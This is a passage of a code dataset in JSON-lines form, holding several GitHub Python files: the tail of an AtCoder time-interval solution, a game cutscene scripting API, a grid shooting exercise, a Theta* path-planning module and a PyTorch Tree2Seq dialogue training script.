5分毎の時刻を格納するリスト\ntime_table = []\nfor i in range(0, 2401, 5):\n\t# 時間なので下2桁60以上は必要なし\n\tif 0 <= int(str(i)[-2:]) < 60:\n\t\ttime_table.append([i, False])\n\n# 開始終了ペアの数でループ\nfor i in range(counter):\n\tstart_time = time_list[i][0]\n\tend_time = time_list[i][1]\n\t# 開始時刻から終了時刻までの辞書の値をTrueにする\n\tfor j in range(int(start_time), int(end_time), 5):\n\t\t# 時間なので下2桁60以上は必要なし\n\t\tif 0 <= int(str(j)[-2:]) < 60:\n\t\t\ttime_table[j][1] = True\n\n# フラグを使って開始終了の境界を判別する\nisRain = False\nfor key, value in time_table:\n\tif value is True and isRain is False:\n\t\tisRain = True\n\t\t# 桁埋めして文字列に戻す\n\t\tstart_time = str(\"%04d\" % key)\n\tif value is False and isRain is True:\n\t\tisRain = False\n\t\tend_time = str(\"%04d\" % key)\n\t\t# 条件に当てはまった開始終了ペアを出力\n\t\tprint(start_time + \"-\" + end_time)","repo_name":"Coki628/kyopro_submissions","sub_path":"AtCoder/ABC001d3.py","file_name":"ABC001d3.py","file_ext":"py","file_size_in_byte":2243,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12417127719","text":"from dataclasses import dataclass\nfrom typing import Any, TypeAlias, Iterator, ClassVar\nfrom xml.dom.minidom import Entity\n\nfrom src.engine.acting.action import Action\nfrom src.lib.query import Q\nfrom src.lib.vector.vector import sub2, floordiv2\nfrom src.library.ai_modules.spacial_memory import SpacialMemory\nfrom src.library.ais.dummy_ai import DummyAi\nfrom src.library.ais.io import Notification\nfrom src.library.physical.player import Player\nfrom src.components import Genesis\nfrom src.library.special.level import Level\n\nScript: TypeAlias = Iterator[dict[Entity, Action | None] | None]\n\n\n@dataclass\nclass RailsApi:\n    level: Level\n    genesis: Genesis\n\n    _player: Player | None = None\n\n    _ai_storage: ClassVar[dict[Entity, Any]] = {}\n    _ai_locks: ClassVar[dict[Entity, list[object]]] = {}\n\n    _death_storage: ClassVar[dict[Entity, Any]] = {}\n    _death_locks: ClassVar[dict[Entity, list[object]]] = {}\n\n    def get_player(self) -> Player:\n        if self._player is None:\n            self._player = next(self.level.find(Player), None)\n\n        return self._player\n\n    def options(self, options: dict[str, Action]) -> Script:\n        assert all(options.values()), \"Only actions are allowed; for no action use NoAction\"\n\n        yield  # TODO should this be needed? Investigate.\n        self.get_player().ai.memory.options = options\n        yield\n        return self.get_player().ai.memory.last_selected_option\n\n    def start_cutscene(self) -> Script:\n        self.get_player().ai.memory.in_cutscene = True\n        yield\n\n    def end_cutscene(self) -> Script:\n        yield\n        self.get_player().ai.memory.in_cutscene = False\n\n    def center_camera(self) -> Script:\n        player = self.get_player()\n        h, w = player.ai.output.game.curses_window.getmaxyx()\n        player.ai.output.game.virtual_p = sub2(player.p, floordiv2((w, h), 2))\n        yield\n\n    def plane_shift(self, level, p) -> Script:\n        yield  # to display the last railed action before the shift\n        Level.move(self.get_player(), p, level=level)  # TODO is it needed? maybe use yield {entity: Teleport}?\n\n    def create_entity(self, entity) -> Script:  # TODO not needed, replace with genesis.push\n        self.genesis.push(entity)\n        yield\n\n    def lock_complex_ai(self, entity, lock) -> Any:\n        if entity not in self._ai_storage:\n            self._ai_storage[entity] = entity.ai\n            self._ai_locks[entity] = []\n\n            entity.ai = DummyAi()\n            entity.ai.composite[SpacialMemory].knows(self.level)\n\n        assert lock not in self._ai_locks[entity]\n\n        entity.ai.clear()  # TODO LONG it interrupts previous scene. Is it appropriate?\n\n        self._ai_locks[entity].append(lock)\n        return lock\n\n    def unlock_complex_ai(self, entity, lock):\n        self._ai_locks[entity].remove(lock)\n\n        if len(self._ai_locks[entity]) == 0:\n            entity.ai = self._ai_storage[entity]\n            del self._ai_storage[entity]\n            del self._ai_locks[entity]\n\n    def lock_dying(self, entity, lock) -> Any:\n        if entity not in self._death_storage:\n            self._death_storage[entity] = ~Q(entity).on_destruction or (lambda *_, **__: None)\n            self._death_locks[entity] = []\n\n            entity.on_destruction = (lambda *_, **__: True)\n\n        assert lock not in self._death_locks[entity]\n\n        self._death_locks[entity].append(lock)\n        return lock\n\n    def unlock_dying(self, entity, lock):\n        self._death_locks[entity].remove(lock)\n\n        if len(self._death_locks[entity]) == 0:\n            entity.on_destruction = self._death_storage[entity]\n            del self._death_storage[entity]\n            del self._death_locks[entity]\n\n    def notify(self, notification: Notification):\n        self.get_player().ai.memory.notification_queue.append(notification)\n        yield\n\n\n@dataclass(eq=False)\nclass Lock:\n    info: Any = None\n\n    def __eq__(self, other):\n        return self is other\n","repo_name":"girvel/fallen","sub_path":"src/engine/rails/rails_api.py","file_name":"rails_api.py","file_ext":"py","file_size_in_byte":3959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3349850570","text":"def next_position(command, row, col, steps):\n    if command == \"up\":\n        return row - steps, col\n    if command == \"down\":\n        return row + steps, col\n    if command == \"left\":\n        return row, col - steps\n    if command == \"right\":\n        return row, col + steps\n\n\ndef is_outside(row, col, size):\n    return row < 0 or col < 0 or row >= size or col >= size\n\n\nsize = 5\n\nmatrix = []\nplayer_row = 0\nplayer_col = 0\ntargets = 0\n\nfor row in range(size):\n    row_elements = input().split()\n    for col in range(size):\n        if row_elements[col] == \"A\":\n            player_row = row\n            player_col = col\n        elif row_elements[col] == \"x\":\n            targets += 1\n\n    matrix.append(row_elements)\n\nnumber_of_commands = int(input())\nshot_targets = []\n\nfor _ in range(number_of_commands):\n    command = input().split()\n    direction = command[1]\n    if command[0] == \"shoot\":\n        steps = 1\n        next_row, next_col = next_position(direction, player_row, player_col, steps)\n        for _ in range(size):\n            if is_outside(next_row, next_col, size):\n                break\n            elif matrix[next_row][next_col] == \"x\":\n                targets -= 1\n                matrix[next_row][next_col] = \".\"\n                shot_targets.append([next_row, next_col])\n                break\n            next_row, next_col = next_position(direction, next_row, next_col, steps)\n\n    elif command[0] == \"move\":\n        steps = int(command[2])\n        next_row, next_col = next_position(direction, player_row, player_col, steps)\n        if is_outside(next_row, next_col, size) or matrix[next_row][next_col] == \"x\":\n            continue\n        matrix[player_row][player_col] = \".\"\n        player_row, player_col = next_row, next_col\n        matrix[player_row][player_col] = \"A\"\n\n    if targets == 0:\n        break\n\nif targets != 0:\n    print(f\"Training not completed! {targets} targets left.\")\nelse:\n    print(f\"Training completed! All {len(shot_targets)} targets hit.\")\n\nprint(*shot_targets, sep=\"\\n\")\n","repo_name":"Lubecruz-Moris/Softuni","sub_path":"Python Advanced/Multidimensional lists/range_day.py","file_name":"range_day.py","file_ext":"py","file_size_in_byte":2019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"43038618889","text":"\"\"\" This module implements Theta*'s path planning algorithm.\n\nTwo variants are included: grid-based, and mesh-based.\n\n\"\"\"\n\n__author__ = \"Sergio de la Mata Moratilla; Javier Pastor Moreno\"\n__authors__ = [\"Sergio de la Mata Moratilla; Javier Pastor Moreno\"]\n__contact__ = \"sergio.matam@edu.uah.es; javier.pastor@edu.uah.es\"\n__copyright__ = \"Copyright 2020, UAH\"\n__credits__ = [\"Mario Cobos Maestre\"]\n__date__ = \"2020/05/22\"\n__deprecated__ = False\n__email__ =  \"sergio.matam@edu.uah.es; javier.pastor@edu.uah.es\"\n__license__ = \"GPLv3\"\n__maintainer__ = \"Sergio de la Mata Moratilla; Javier Pastor Moreno\"\n__status__ = \"Development\"\n__version__ = \"0.0.1\"\n\n\"\"\"\n    Code modified from https://https://github.com/ISG-UAH/R2P2\n\"\"\"\n\nimport path_planning as pp\n\ndef children(point,grid):\n    \"\"\"\n        Calculates the children of a given node over a grid.\n        Inputs:\n            - point: node for which to calculate children.\n            - grid: grid over which to calculate children.\n        Outputs:\n            - list of children for the given node.\n    \"\"\"\n    x,y = point.grid_point\n    if x > 0 and x < len(grid) - 1:\n        if y > 0 and y < len(grid[0]) - 1:\n            links = [grid[d[0]][d[1]] for d in\\\n                     [(x-1, y),(x,y - 1),(x,y + 1),(x+1,y),\\\n                      (x-1, y-1), (x-1, y+1), (x+1, y-1),\\\n                      (x+1, y+1)]]\n        elif y > 0:\n            links = [grid[d[0]][d[1]] for d in\\\n                     [(x-1, y),(x,y - 1),(x+1,y),\\\n                      (x-1, y-1), (x+1, y-1)]]\n        else:\n            links = [grid[d[0]][d[1]] for d in\\\n                     [(x-1, y),(x,y + 1),(x+1,y),\\\n                      (x-1, y+1), (x+1, y+1)]]\n    elif x > 0:\n        if y > 0 and y < len(grid[0]) - 1:\n            links = [grid[d[0]][d[1]] for d in\\\n                     [(x-1, y),(x,y - 1),(x,y + 1),\\\n                      (x-1, y-1), (x-1, y+1)]]\n        elif y > 0:\n            links = [grid[d[0]][d[1]] for d in\\\n                     [(x-1, y),(x,y - 1),(x-1, y-1)]]\n        else:\n            links = [grid[d[0]][d[1]] for d in\\\n                     [(x-1, y), (x,y + 1), (x-1, y+1)]]\n    else:\n        if y > 0 and y < len(grid[0]) - 1:\n            links = [grid[d[0]][d[1]] for d in\\\n                     [(x+1, y),(x,y - 1),(x,y + 1),\\\n                      (x+1, y-1), (x+1, y+1)]]\n        elif y > 0:\n            links = [grid[d[0]][d[1]] for d in\\\n                     [(x+1, y),(x,y - 1),(x+1, y-1)]]\n        else:\n            links = [grid[d[0]][d[1]] for d in\\\n                     [(x+1, y), (x,y + 1), (x+1, y+1)]]\n    return [link for link in links if link.value != 9]\n\ndef checkObst(x, y, grid):\n     \"\"\"\n        Verify if there is any obstacle at the position studied.\n        Inputs:\n            - x: X coordinate from the position studied.\n            - y: Y coordinate from the position studied.\n            - grid: grid over which to execute the algorithm.\n        Outputs:\n            - boolean indicating if there is an obtacle in a position of the grid.\n     \"\"\"\n     return (grid[int(x)][int(y)].value >= 5)\n\ndef lineOfSight(current, node, grid):\n     \"\"\"\n        Know if there is a path between the current point studied and another.\n        Inputs:\n            - current: point studied.\n            - node: node that needs to be reached.\n            - grid: grid over which to execute the algorithm.\n            Unused, kept to standarize input.\n        Outputs:\n            - boolean indicating if it is was found a path.\n    \"\"\"\n     #Sepation from the coordinates from each of the nodes\n     x0, y0 = current.grid_point\n     x1, y1 = node.grid_point\n     #Difference between the x coordinates and y coordinates\n     difference_posx = x1 - x0\n     difference_posy = y1 - y0\n     f = 0\n     #Verify if the difference from y coordinates is lower than 0\n     if difference_posy < 0:\n          difference_posy = - difference_posy\n          s_posy = -1\n     else:\n          s_posy = 1\n     #Verify if the difference from x coordinates is lower than 0\n     if difference_posx < 0:\n          difference_posx = - difference_posx\n          s_posx = -1\n     else:\n          s_posx = 1\n     #Compare the differences from x and y coordinates to study according to the greatest\n     if difference_posx >= difference_posy:\n          #Make the study until the x values are equal\n          while x0 != x1:\n               #Add to the f variable the difference from the y coordinates \n               f += difference_posy\n               #Add to the f variable the difference from the x coordinates \n               if f >= difference_posx:\n                    if checkObst(x0 + ((s_posx - 1)/2), y0 + ((s_posy - 1)/2), grid):\n                         return False\n                    y0 = y0 + s_posy\n                    f -= difference_posx\n               #Verify if f variable is different to 0 and there is any obtascle near the position studied \n               if (f != 0) and (checkObst(x0 + ((s_posx - 1)/2), y0 + ((s_posy - 1)/2), grid)):\n                    return False\n               #Verify if the difference from y coodinates is 0 and check if there are obstables in relation to the initial y coordinate\n               if (difference_posy == 0) and (checkObst(x0 + ((s_posx - 1)/2), y0,grid)) and (checkObst(x0 + ((s_posx - 1)/2), y0 - 1, grid)):\n                    return False\n               x0 += s_posx\n     else:\n          #Make the study until the y values are equal\n          while y0 != y1:\n               #Add to the f variable the difference from the x coordinates \n               f += difference_posx\n               #Add to the f variable the difference from the y coordinates \n               if f >= difference_posy:\n                    if checkObst(x0 + ((s_posx - 1)/2), y0 + ((s_posy - 1)/2), grid):\n                         return False\n                    x0 = x0 + s_posx\n                    f -= difference_posx\n               #Verify if f variable is different to 0 and there is any obtascle near the position studied \n               if (f != 0) and (checkObst(x0 + ((s_posx - 1)/2), y0 + ((s_posy - 1)/2), grid)):\n                    return False\n               #Verify if the difference from x coodinates is 0 and check if there are obstables in relation to the initial x coordinate\n               if (difference_posx == 0) and (checkObst(x0, y0 + ((s_posy - 1)/2), grid)) and (checkObst(x0 - 1, y0 + ((s_posy - 1)/2), grid)):\n                    return False\n               y0 += s_posy\n     return True\n\ndef thetaStar(start, goal, grid, heur='naive'):\n     \"\"\"\n        Executes the Theta* path planning algorithm over a given grid.\n        Inputs:\n            - origin: node at which to start.\n            - goal: node that needs to be reached.\n            - grid: grid over which to execute the algorithm.\n            - heur: reference to a string representing an heuristic.\n            Unused, kept to standarize input.\n        Outputs:\n            - ordered list of nodes representing the path found from\n            origin to goal.\n    \"\"\"\n     #Opened and closed sets\n     opened_set = set()\n     closed_set = set()\n     #Current position at the starting point\n     current = start\n     #Introduced the starting point to the opened set\n     opened_set.add(current)\n     #While the opened set has nodes to be studied\n     while opened_set: \n          #Search for its item with the lowest G + H value\n          current = min(opened_set, key = lambda o:o.G + o.H)\n          pp.expanded_nodes += 1\n          # Current position is the same as the goal\n          if current == goal: \n               path = []\n               #Include the positions to the path until the current position has not a parent\n               while current.parent: \n                    path.append(current)\n                    current = current.parent\n               path.append(current)\n               return path[::-1]\n          #Delete the item from the opened set used and introduce it to the closed set\n          opened_set.remove(current)\n          closed_set.add(current)\n          \n          #Go through the node's children/siblings\n          for node in children(current, grid):\n               #Skip the node if it is at the closed set \n               if node in closed_set:\n                    continue\n               #Verify if the node is at the opened set\n               if node in opened_set:\n                    #Check if the obtained G value is lower to the one from the node\n                    g_aux = current.G + current.move_cost(node)\n                    # New g value is lower to the one which has the node\n                    if node.G > g_aux: \n                         #Update the node's parent\n                         node.G = g_aux\n                         node.parent = current\n               else:\n                    if (current.parent != None) and (lineOfSight(current.parent, node,grid)):\n                         #Consider the case in which the current point studied has a parent \n                         # and that there is a path between start vertex and parent vertex   \n                         node.G = current.parent.G + current.parent.move_cost(node)\n                         node.H = pp.heuristic[heur](node, goal)\n                         node.parent = current.parent\n                         opened_set.add(node)\n                    else:\n                         #Needed to be calculated the G and H values for the node studied\n                         node.G = current.G + current.move_cost(node)\n                         node.H = pp.heuristic[heur](node,goal)\n                         #Set the parent to current studied position & include the node to the openeed set\n                         node.parent = current\n                         opened_set.add(node)\n     #Throw an exception if there is no path\n     raise ValueError('No Path Found')\n\npp.register_search_method('Theta*', thetaStar)\n","repo_name":"SergiodelaMata/Integrate_path-planning_-_task-planning","sub_path":"r2p2/r2p2/thetaStar.py","file_name":"thetaStar.py","file_ext":"py","file_size_in_byte":9910,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"31691426852","text":"import os\nimport random\nimport shutil\nimport time\nimport warnings\nfrom tqdm import tqdm, trange\nimport sys\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.parallel\nimport torch.backends.cudnn as cudnn\nimport torch.distributed as dist\nimport torch.optim\nimport torch.multiprocessing as mp\nimport torch.utils.data\nimport torch.utils.data.distributed\n\nfrom utils.logging import logger\nfrom utils.statistics import Statistics\nfrom models.Tree2Seq import *\n# from models.Mem2Seq_update import *\n\nimport utils.utils_kvr_tree as utils_tree\n# from utils.general_utils import to_device\n\nimport random\n\nrandom.seed(1234)\ntorch.manual_seed(1234)\n\ntorch.backends.cudnn.deterministic = True\ntorch.backends.cudnn.benchmark = False\n\n\ndef main_worker(args, gpu):\n\n    model, train, dev, test = build_model(args, gpu)\n\n    # Data loading code\n    if args.distributed:\n        train_sampler = torch.utils.data.distributed.DistributedSampler(train)\n        dev_sampler = torch.utils.data.distributed.DistributedSampler(dev)\n        test_sampler = torch.utils.data.distributed.DistributedSampler(test)\n\n    else:\n        train_sampler = None\n        dev_sampler = None\n        test_sampler = None\n\n    # multiple workers are not allowed in multiprocessing !\n    train_loader = torch.utils.data.DataLoader(\n            train, batch_size=args.batch, shuffle=(train_sampler is None),\n            pin_memory=False, sampler=train_sampler, collate_fn=utils_tree.collate_fn_new)\n\n\n    val_loader = torch.utils.data.DataLoader(dev,\n            batch_size=args.batch, shuffle=False, sampler=dev_sampler,\n            pin_memory=False, collate_fn=utils_tree.collate_fn_new)\n\n    test_loader = torch.utils.data.DataLoader(test,\n            batch_size=args.batch, shuffle=False,sampler=test_sampler,\n            pin_memory=False, collate_fn=utils_tree.collate_fn_new)\n\n    best_bleu = 0.0\n    best_f1 = 0.0\n    trainer = Tree2SeqTrainer(model, lr=float(args.learn), args=args)\n    scheduler = lr_scheduler.ReduceLROnPlateau(trainer.optimizer, mode='max', factor=0.8, patience=5,\n                                               min_lr=0.0001, verbose=True)\n\n    # optionally resume from a checkpoint\n    if args.resume:\n        if os.path.isfile(args.resume):\n            logger.info(\"=> loading checkpoint '{}'\".format(args.resume))\n            checkpoint = torch.load(args.resume)\n            model.load_state_dict(checkpoint['state_dict'])\n            # trainer.optimizer.load_state_dict(checkpoint['optimizer'])\n            logger.info(\"=> loaded checkpoint '{}' (epoch {})\"\n                  .format(args.resume, checkpoint['epoch']))\n        else:\n            logger.info(\"=> no checkpoint found at '{}'\".format(args.resume))\n\n    # check for mode\n    if args.mode == 'eval':\n        logger.info('In eval mode.')\n        validate_one_epoch(val_loader, model, trainer, args)\n        return\n\n    if args.mode == 'test':\n        logger.info('In test mode.')\n        # logger.info('Eval.')\n        # validate_one_epoch(val_loader, model, trainer, args)\n        logger.info('Test.')\n        validate_one_epoch(test_loader, model, trainer, args)\n        return\n\n    best_f1s = []\n\n    logger.info('In the training process now.')\n    for epoch in range(0, args.max_epoch):\n        if args.distributed:\n            train_sampler.set_epoch(epoch)\n\n        # adjust_learning_rate(optimizer, epoch, args)\n\n        # train for one epoch\n        train_one_epoch(train_loader, model, trainer, epoch, args)\n\n        # evaluate on validation set\n        bleu, f1s = validate_one_epoch(val_loader, model, trainer, args)\n\n        # remember best acc@1 and save checkpoint\n        is_best = f1s[0] > best_f1\n        best_bleu = max(bleu, best_bleu)\n        best_f1 = max(f1s[0], best_f1)\n        if is_best:\n            best_f1s = f1s\n            best_bleu = bleu\n\n        scheduler.step(f1s[0])\n\n        if not args.distributed or (args.distributed and args.rank % args.world_size == 0):\n            save_checkpoint({\n                'epoch': epoch + 1,\n                'arch': args.decoder,\n                'state_dict': model.state_dict(),\n                'best_bleu': best_bleu,\n                # 'optimizer': optimizer.state_dict(),\n            }, is_best, args.experiment)\n\n\n    logger.info(\"BEST F1 SCORE:\\t{}\".format(str(best_f1s[0])))\n    logger.info(\"\\tBEST CAL F1:\\t{}\".format(str(best_f1s[1])))\n    logger.info(\"\\tBEST WET F1:\\t{}\".format(str(best_f1s[2])))\n    logger.info(\"\\tBEST NAV F1:\\t{}\".format(str(best_f1s[3])))\n    logger.info(\"\\tBEST BLEU:\\t{}\".format(str(best_bleu)))\n\n    logger.info('Test')\n    validate_one_epoch(test_loader, model, trainer, args)\n    return\n\ndef build_model(args, gpu):\n    # global best_acc1\n    if gpu == -1:\n        args.gpu = 0\n    else:\n        args.gpu = gpu\n\n    if args.gpu is not None:\n        logger.info(\"Use GPU: {} for training\".format(args.gpu))\n\n    if args.distributed:\n        # For multiprocessing distributed training, rank needs to be the\n        # global rank among all the processes\n        args.rank = gpu\n\n    if args.distributed:\n        # For multiprocessing distributed, DistributedDataParallel constructor\n        # should always set the single device scope, otherwise,\n        # DistributedDataParallel will use all available devices.\n        if args.gpu is not None:\n           # When using a single GPU per process and per\n            # DistributedDataParallel, we need to divide the batch size\n            # ourselves based on the total number of GPUs we have\n            args.batch = int( args.batch / args.world_size)\n            args.workers = int( args.workers / args.world_size)\n\n    # read in the dataset\n    # todo : clean this logic\n    prepare_data_seq = utils_tree.prepare_data_seq\n    # print(args.batch)\n    logger.info('Batch-size per gpu: {}'.format(args.batch))\n    train, dev, test, testOOV, lang, max_len, max_r = prepare_data_seq(vars(args),batch_size=int(args.batch),shuffle=True)\n    # create model\n    model = globals()[args.decoder](int(args.hidden),\n                                        max_len,max_r,lang,args.path,args.task,\n                                        lr=float(args.learn),\n                                        n_layers=int(args.layer),\n                                        dropout=float(args.drop),\n                                        unk_mask=bool(int(args.unk_mask)),\n                                        args=args\n                                        )\n\n    if args.distributed:\n        if args.gpu is not None:\n            torch.cuda.set_device(args.gpu)\n            model.cuda(args.gpu)\n            model = torch.nn.parallel.DistributedDataParallel(model, device_ids=[args.gpu])\n        else:\n            model.cuda()\n            # DistributedDataParallel will divide and allocate batch_size to all\n            # available GPUs if device_ids are not set\n            model = torch.nn.parallel.DistributedDataParallel(model)\n    else:\n        model.cuda()\n\n    return model, train, dev, test\n\n\ndef train_one_epoch(train_loader, model, trainer, epoch, args):\n    batch_time = AverageMeter('Time', ':6.3f')\n    data_time = AverageMeter('Data', ':6.3f')\n    Losses = AverageMeter('Loss', ':6.2f')\n    V_Loss = AverageMeter('VL', ':6.2f')\n    P_Loss = AverageMeter('PL', ':6.2f')\n    progress = ProgressMeter(len(train_loader), batch_time, data_time, Losses, V_Loss,\n                             P_Loss, prefix=\"Epoch: [{}]\".format(epoch))\n\n    # switch to train mode\n    model.train()\n\n    end = time.time()\n    for i, data in enumerate(train_loader):\n        # measure data loading time\n        data_time.update(time.time() - end)\n\n        # data = to_device(data, torch.device('cuda'))\n        # compute output\n        loss = trainer.train_batch(model, data, len(data['src_seqs']), 1.0, 0.5, i == 0)\n\n        # for debug\n        # for name, param in model.named_parameters():\n        #     print(name, param, True if param.grad is not None else False)\n        # pdb.set_trace()\n\n        # measure accuracy and record loss\n        # acc1, acc5 = accuracy(output, target, topk=(1, 5))\n        Losses.update(loss[0], data['src_seqs'].size(0))\n        P_Loss.update(loss[1], data['src_seqs'].size(0))\n        V_Loss.update(loss[2], data['src_seqs'].size(0))\n\n        # measure elapsed time\n        batch_time.update(time.time() - end)\n        end = time.time()\n\n        if i % args.print_freq == 0:\n            progress.print(i)\n\n\ndef validate_one_epoch(val_loader, model, trainer, args):\n    # switch to evaluate mode\n    model.eval()\n\n    val_stats = [Statistics() for i in range(5)]\n\n    # read-in global entity list\n    if args.dataset == 'kvr':\n        with open('data/KVR/kvret_entities.json') as f:\n            global_entity = json.load(f)\n            global_entity_list = []\n            for key in global_entity.keys():\n                if key != 'poi':\n                    global_entity_list += [item.lower().replace(' ', '_') for item in global_entity[key]]\n                else:\n                    for item in global_entity['poi']:\n                        global_entity_list += [item[k].lower().replace(' ', '_') for k in item.keys()]\n            global_entity_list = list(set(global_entity_list))\n    else:\n        raise NotImplementedError('Not implemented this val for datasets other than kvr yet.')\n\n    with torch.no_grad():\n        end = time.time()\n        # for i, data in tqdm(enumerate(val_loader)):\n        cnt = 0\n        for data in tqdm(val_loader):\n            # data = to_device()\n            # end = time.time()\n            cnt += 1\n            decoded_words = trainer.evaluate_batch(model, data)\n            # logger.info(\"Decode Time cost: {}\".format(str(time.time() - end)))\n            # end = time.time()\n            # update val states for each batch.\n            val_stats = compute_val_stat(data, decoded_words, global_entity_list, val_stats, args)\n            # logger.info(\"Val Compute Time cost: {}\".format(str(time.time() - end)))\n\n    if args.distributed:\n        all_val_stats = Statistics.all_gather_stats_list(val_stats)\n    else:\n        all_val_stats = val_stats\n    f1 = all_val_stats[0].accuracy()\n    cal_f1 = all_val_stats[1].accuracy()\n    wet_f1 = all_val_stats[2].accuracy()\n    nav_f1 = all_val_stats[3].accuracy()\n\n    logger.info(\"F1 SCORE:\\t{}\".format(str(f1)))\n    logger.info(\"\\tCAL F1:\\t{}\".format(str(cal_f1)))\n    logger.info(\"\\tWET F1:\\t{}\".format(str(wet_f1)))\n    logger.info(\"\\tNAV F1:\\t{}\".format(str(nav_f1)))\n\n    bleu_score = all_val_stats[4].accuracy() / 100.0\n    # not validated yet.\n    # bleu_score = 0.0\n    logger.info(\"\\tBleu Score:\\t{}\".format(str(bleu_score)))\n\n    return bleu_score, [f1, cal_f1, wet_f1, nav_f1]\n\n\ndef compute_val_stat(data_dev, words, global_entity_list, stats, args):\n    w = 0\n    temp_gen = []\n\n    ref = []\n    hyp = []\n    src = []\n    ref_s = \"\"\n    hyp_s = \"\"\n    src_s = \"\"\n\n    microF1_PRED, microF1_PRED_cal, microF1_PRED_nav, microF1_PRED_wet = 0, 0, 0, 0\n    microF1_TRUE, microF1_TRUE_cal, microF1_TRUE_nav, microF1_TRUE_wet = 0, 0, 0, 0\n\n    for i, row in enumerate(np.transpose(words)):\n        st = ''\n        for e in row:\n            if e == '<EOS>':\n                break\n            else:\n                st += e + ' '\n        temp_gen.append(st)\n        correct = data_dev['trg_plain'][i]\n        ### compute F1 SCORE\n        st = st.lstrip().rstrip()\n        correct = correct.lstrip().rstrip()\n        if args.dataset == 'kvr':\n            f1_true, count = Tree2Seq.compute_prf(data_dev['entity'][i], st.split(), global_entity_list,\n                                              data_dev['kb_plain'][i])\n            microF1_TRUE += f1_true\n            microF1_PRED += count\n            f1_true, count = Tree2Seq.compute_prf(data_dev['entity_cal'][i], st.split(), global_entity_list,\n                                              data_dev['kb_plain'][i])\n            microF1_TRUE_cal += f1_true\n            microF1_PRED_cal += count\n            f1_true, count = Tree2Seq.compute_prf(data_dev['entity_nav'][i], st.split(), global_entity_list,\n                                              data_dev['kb_plain'][i])\n            microF1_TRUE_nav += f1_true\n            microF1_PRED_nav += count\n            f1_true, count = Tree2Seq.compute_prf(data_dev['entity_wet'][i], st.split(), global_entity_list,\n                                              data_dev['kb_plain'][i])\n            microF1_TRUE_wet += f1_true\n            microF1_PRED_wet += count\n\n\n        conv_src = [item[0] for item in data_dev['src_plain'][i] if '$' in item[1]]\n        conv_src_s = \" \".join(conv_src)\n        src_s += conv_src_s + '\\n'\n        src.append(src_s)\n\n        # w += wer(correct, st)\n        ref.append(str(correct))\n        hyp.append(str(st))\n\n        ref_s += str(correct) + \"\\n\"\n        hyp_s += str(st) + \"\\n\"\n\n    with open('./tmp/{}_ref_s.txt'.format(args.experiment), 'a+') as f:\n        f.write(ref_s)\n    with open('./tmp/{}_hyp_s.txt'.format(args.experiment), 'a+') as f:\n        f.write(hyp_s)\n    with open('./tmp/{}_src_s.txt'.format(args.experiment), 'a+') as f:\n        f.write(src_s)\n\n\n    # compute the bleu score\n    bleu_score = moses_multi_bleu(np.array(hyp), np.array(ref), lowercase=True)\n\n    bleu_stat = Statistics(n_correct=bleu_score, n_words=1)\n\n    entity_stat = Statistics(n_correct=microF1_TRUE, n_words=microF1_PRED)\n    entity_cal_stat = Statistics(n_correct=microF1_TRUE_cal, n_words=microF1_PRED_cal)\n    entity_nav_stat = Statistics(n_correct=microF1_TRUE_nav, n_words=microF1_PRED_nav)\n    entity_wet_stat = Statistics(n_correct=microF1_TRUE_wet, n_words=microF1_PRED_wet)\n    new_stats = [entity_stat, entity_cal_stat, entity_nav_stat, entity_wet_stat, bleu_stat]\n\n    for i in range(5):\n        stats[i].update(new_stats[i])\n\n    return stats\n\ndef save_checkpoint(state, is_best, experiment='Tree2Seq'):\n    filename = './model/{}.pt'.format(experiment)\n    torch.save(state, filename)\n    if is_best:\n        best_filename = './model/{}_best.pt'.format(experiment)\n        shutil.copyfile(filename, best_filename)\n\n\nclass AverageMeter(object):\n    \"\"\"Computes and stores the average and current value\"\"\"\n\n    def __init__(self, name, fmt=':f'):\n        self.name = name\n        self.fmt = fmt\n        self.reset()\n\n    def reset(self):\n        self.val = 0\n        self.avg = 0\n        self.sum = 0\n        self.count = 0\n\n    def update(self, val, n=1):\n        self.val = val\n        self.sum += val * n\n        self.count += n\n        self.avg = self.sum / self.count\n\n    def __str__(self):\n        fmtstr = '{name} {val' + self.fmt + '} ({avg' + self.fmt + '})'\n        return fmtstr.format(**self.__dict__)\n\n\nclass ProgressMeter(object):\n    def __init__(self, num_batches, *meters, prefix=\"\"):\n        self.batch_fmtstr = self._get_batch_fmtstr(num_batches)\n        self.meters = meters\n        self.prefix = prefix\n\n    def print(self, batch):\n        entries = [self.prefix + self.batch_fmtstr.format(batch)]\n        entries += [str(meter) for meter in self.meters]\n        logger.info('\\t'.join(entries))\n\n    def _get_batch_fmtstr(self, num_batches):\n        num_digits = len(str(num_batches // 1))\n        fmt = '{:' + str(num_digits) + 'd}'\n        return '[' + fmt + '/' + fmt.format(num_batches) + ']'\n\n\ndef adjust_learning_rate(optimizer, epoch, args):\n    \"\"\"Sets the learning rate to the initial LR decayed by 10 every 30 epochs\"\"\"\n    lr = args.lr * (0.1 ** (epoch // 30))\n    for param_group in optimizer.param_groups:\n        param_group['lr'] = lr\n\n\ndef accuracy(output, target, topk=(1,)):\n    \"\"\"Computes the accuracy over the k top predictions for the specified values of k\"\"\"\n    with torch.no_grad():\n        maxk = max(topk)\n        batch_size = target.size(0)\n\n        _, pred = output.topk(maxk, 1, True, True)\n        pred = pred.t()\n        correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n        res = []\n        for k in topk:\n            correct_k = correct[:k].view(-1).float().sum(0, keepdim=True)\n            res.append(correct_k.mul_(100.0 / batch_size))\n        return res\n\n","repo_name":"ElliottYan/KB-Chat","sub_path":"single_train.py","file_name":"single_train.py","file_ext":"py","file_size_in_byte":16056,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
